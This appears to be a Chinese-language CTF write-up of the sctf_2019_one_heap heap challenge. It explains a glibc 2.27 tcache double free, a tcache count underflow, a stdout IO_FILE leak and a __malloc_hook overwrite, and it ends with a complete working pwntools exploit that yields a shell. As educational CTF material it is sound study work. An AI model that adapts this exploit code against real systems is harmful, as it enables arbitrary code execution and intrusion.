sctf_2019_one_heap
Time: 2020-09-05 Tags: binaryLink: sctf_2019_one_heap
写在前面
最近感觉到自己的解题技巧没有达到应该的水平,导致自己无论在比赛还是在平常的做题当中都感觉到力不从心。
昨天做到了一道题,题目的内容非常简单。只有一个add和一个delete,只保留了一个指针。而且对malloc和free的次数进行了限制。使用的libc是2.27版本的。因为有了tcache,此题的难度没有太大。
整体来说,此题很考验解题人对堆利用的技巧。所以记录一下。
程序分析
# surager @ ubuntu in ~/work [15:34:26]
$ file sctf_2019_one_heap
sctf_2019_one_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=84e0a50551fc4f6d2ce2466a50d04427f1919877, stripped
# surager @ ubuntu in ~/work [15:34:29]
$ checksec sctf_2019_one_heap
[*] '/home/surager/work/sctf_2019_one_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开。
unsigned __int64 add()
{
unsigned int v0; // eax
size_t v1; // rbx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !malloctimes ) // 15
LABEL_5:
exit(0);
_printf_chk(1LL, "Input the size:");
v0 = read_int();
v1 = v0;
if ( v0 > 0x7F )
{
puts("Invalid size!");
goto LABEL_5;
}
_printf_chk(1LL, "Input the content:");
ptr = malloc(v1);
my_read(ptr, v1);
puts("Done!");
--malloctimes;
return __readfsqword(0x28u) ^ v3;
}
限制了size,限制了malloc次数。
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-10h]
v1 = __readfsqword(0x28u);
if ( !freetimes ) // 4
exit(0);
free(ptr);
puts("Done!");
--freetimes;
return __readfsqword(0x28u) ^ v1;
}
没有清除指针,只有一个指针可用。而且只能free四次。
思路
现在清楚我们需要解决的问题。
1.怎么实现任意地址写。
这个比较简单,double free一个tcache即可。
2.怎么leak信息。
没有show的函数,这里只能打stdout进行leak。概率1/16。但是打stdout的话需要一个libc地址,怎么得到一个libc地址呢。。
最简单的思路是打tcache_perthread_struct。但是只是这样的话就得花费三个free的代价。而且指针还不一定调得回来。
第二个思路是直接add三次,造成某一个tcache的数量成为255(-1),这样就可以直接在原地将此chunk送入unsorted bin,直接修改fd低三位打IO_FILE。
3.一顿操作之后如何打malloc_hook。
一顿乱操作之后,发现只剩一个unsorted bin和一个用来隔开top chunk的tcache bin。但是这里的unsorted bin是可控的。因为在分配到IO_FILE之前的那次malloc时是在原位置malloc的,因此我们可以修改unsorted bin的大小,从而将那个tcache bin包含入其中,从而得到一个tcache链,把堆块分配到malloc_hook。
exp分析
我们先double free一个足够大的chunk,然后找一个chunk隔开top chunk。这里的0x3f的chunk内容留一个伏笔。
add(0x7f,'a')
free()
free()
add(0x3f,'\x00'*0x20+p64(0x90)+'\x20')
free()
之后三次add。
add(0x7f,'')
add(0x7f,'')
add(0x7f,'')
造成的结果。
(0x90) tcache_entry[7](255): ...
之后free,直接进unsorted bin。
unsortbin: 0x558b2f75e250 (size : 0x90)
(0x50) tcache_entry[3](1): 0x558b2f75e2f0
(0x90) tcache_entry[7](255): 0x558b2f75e260 (overlap chunk with 0x558b2f75e250(freed) )
pwndbg> x/32gx 0x558b2f75e250
0x558b2f75e250: 0x0000000000000000 0x0000000000000091
0x558b2f75e260: 0x00007f214dcc8ca0 0x00007f214dcc8ca0
0x558b2f75e270: 0x0000000000000000 0x0000000000000000
0x558b2f75e280: 0x0000000000000000 0x0000000000000000
0x558b2f75e290: 0x0000000000000000 0x0000000000000000
0x558b2f75e2a0: 0x0000000000000000 0x0000000000000000
0x558b2f75e2b0: 0x0000000000000000 0x0000000000000000
0x558b2f75e2c0: 0x0000000000000000 0x0000000000000000
0x558b2f75e2d0: 0x0000000000000000 0x0000000000000000
0x558b2f75e2e0: 0x0000000000000090 0x0000000000000050
0x558b2f75e2f0: 0x0000000000000000 0x0000000000000000
0x558b2f75e300: 0x0000000000000000 0x0000000000000000
0x558b2f75e310: 0x0000000000000090 0x0000000000000030
0x558b2f75e320: 0x0000000000000000 0x0000000000000000
0x558b2f75e330: 0x0000000000000000 0x0000000000020cd1
0x558b2f75e340: 0x0000000000000000 0x0000000000000000
这样我们可以切割unsorted bin进行指针修改,然后攻击IO_FILE。
add(0x20,'\x50\xb7')
add(0x7f,'\x00'*0x28+p64(0x91))
payload = '\x00'*0x10+p64(0xfbad1880) + p64(0)*3 + '\x00'
add(0x7f,payload)
这里的第二个add的内容可以修改unsorted bin的大小,从而实现chunk overlapping。留个伏笔。
此时的heap分布如下。
unsortbin: 0x55bb1765e280 (size : 0x90)
(0x50) tcache_entry[3](1): 0x55bb1765e2f0 (overlap chunk with 0x55bb1765e280(freed) )
(0x90) tcache_entry[7](253): 0
pwndbg> x/32gx 0x55bb1765e280
0x55bb1765e280: 0x0000000000000000 0x0000000000000091
0x55bb1765e290: 0x00007f892592aca0 0x00007f892592aca0
0x55bb1765e2a0: 0x0000000000000000 0x0000000000000000
0x55bb1765e2b0: 0x0000000000000000 0x0000000000000000
0x55bb1765e2c0: 0x0000000000000000 0x0000000000000000
0x55bb1765e2d0: 0x0000000000000000 0x0000000000000000
0x55bb1765e2e0: 0x0000000000000060 0x0000000000000050
0x55bb1765e2f0: 0x0000000000000000 0x0000000000000000
0x55bb1765e300: 0x0000000000000000 0x0000000000000000
0x55bb1765e310: 0x0000000000000090 0x0000000000000020
0x55bb1765e320: 0x0000000000000000 0x0000000000000000
0x55bb1765e330: 0x0000000000000000 0x0000000000020cd1
0x55bb1765e340: 0x0000000000000000 0x0000000000000000
0x55bb1765e350: 0x0000000000000000 0x0000000000000000
0x55bb1765e360: 0x0000000000000000 0x0000000000000000
0x55bb1765e370: 0x0000000000000000 0x0000000000000000
由于我们的修改,unsorted bin的size被改成了0x90。而此时如果直接切割chunk的话,会造成程序崩溃。原因是size和prev size不对应。所以我们在开头的那个chunk中写入了一个伪造的chunk头0x55bb1765e310: 0x0000000000000090 0x0000000000000030
。这样就不会造成程序崩溃了。
之后切割,将malloc_hook填入之前的tcache之中即可。(此处需realloc调整栈帧)
io.sendline("1")
io.sendlineafter("size:",str(0x70))
payload = p64(0)*11+p64(0x51)+p64(libc.sym["__malloc_hook"]-0x8)
io.sendlineafter("content:",payload)
add(0x40,'')
add(0x40,p64(libc.address + 0x10a38c)+p64(libc.sym['__libc_realloc']+4))
完整exp
from pwn import *
elf = ELF("./sctf_2019_one_heap")
libc = ELF("./x64-libc-2.27.so")
#context.log_level = 'debug'
ip = "node3.buuoj.cn"
port = 27612
def add(size,con):
io.sendlineafter("choice:",'1')
io.sendlineafter("size:",str(size))
io.sendlineafter("content:",con)
def free():
io.sendlineafter("choice:",'2')
def dbg():
gdb.attach(io)
pause()
while 1:
try:
io = process(["./sctf_2019_one_heap"])
#io = remote(ip,port)
add(0x7f,'a')
free()
free()
add(0x3f,'\x00'*0x20+p64(0x90)+'\x20')
free()
add(0x7f,'')
add(0x7f,'')
add(0x7f,'')
free()
add(0x20,'\x50\xb7')
add(0x7f,'\x00'*0x28+p64(0x91))
payload = '\x00'*0x10+p64(0xfbad1880) + p64(0)*3 + '\x00'
add(0x7f,payload)
libcbase = io.recv()
if not('\x7f' in libcbase):
io.close()
continue
idx = libcbase.find("\x7f")
libc.address = u64(libcbase[idx-5:idx+1].ljust(8,'\x00')) - 0x3ed8b0
log.info("libc.address : "+ hex(libc.address))
dbg()
break
io.sendline("1")
io.sendlineafter("size:",str(0x70))
payload = p64(0)*11+p64(0x51)+p64(libc.sym["__malloc_hook"]-0x8)
io.sendlineafter("content:",payload)
add(0x40,'')
add(0x40,p64(libc.address + 0x10a38c)+p64(libc.sym['__libc_realloc']+4))
#add(0x50,'')
io.interactive()
break
except:
io.close()
continue
写在后面
说实话,有时候这种题目直接给我吓死了,做也不敢做。但是实际上好好分析下来,只是细节问题罢了。真正的技巧是不断做题摸索出来的。